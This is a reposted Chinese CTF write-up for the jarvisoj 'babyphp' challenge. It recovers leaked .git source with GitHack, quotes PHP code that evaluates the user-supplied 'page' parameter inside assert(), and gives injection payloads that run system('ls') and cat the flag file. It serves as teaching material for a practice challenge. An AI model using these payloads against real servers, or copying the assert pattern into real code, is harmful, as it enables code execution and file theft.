码迷,mamicode.com
首页 > 编程语言 > 详细

jarvisoj babyphp

时间:2020-01-11 15:03:44      阅读:107      评论:0      收藏:0      [点我收藏+]

标签:重要   jar   控制   templates   git   soj   mamicode   alt   nbsp   

jarvisoj babyphp

涉及知识点:

(1)GitHack处理.git源码泄露

(2)php代码注入

解析:

进入题目界面。

技术图片

 

 看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露。

用GitHack尝试一下。

技术图片

 

 审计关键代码。

<?php
if (isset($_GET[page])) {
    $page = $_GET[page];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos(‘$file‘, ‘..‘) === false") or die("Detected hacking attempt!");
assert("file_exists(‘$file‘)") or die("That file doesn‘t exist!");
?>

可以看到page是由我们自己控制的。那么这样的话就可以尝试php代码注入了。

构造payload: ?page=‘.system(ls).‘

技术图片

 

 爆出本级文件。那么只要读取templates下的flag.php就可以了

构造payload : ?page=‘.system(‘cat templates/flag.php‘).‘ 

打开F12看到flag.php中的内容如下。

技术图片

 

 得到flag。(图不太清晰,但是毕竟是flag,不重要)。

 

注:经过多次尝试之后,我发现php代码注入只要存在(前提是存在注入点),几乎都是无解的问题。它可以存在于任何地方,甚至赋值语句都可以用php代码注入来获取你想要的内容。

jarvisoj babyphp

标签:重要   jar   控制   templates   git   soj   mamicode   alt   nbsp   

原文地址:https://www.cnblogs.com/cioi/p/12179642.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!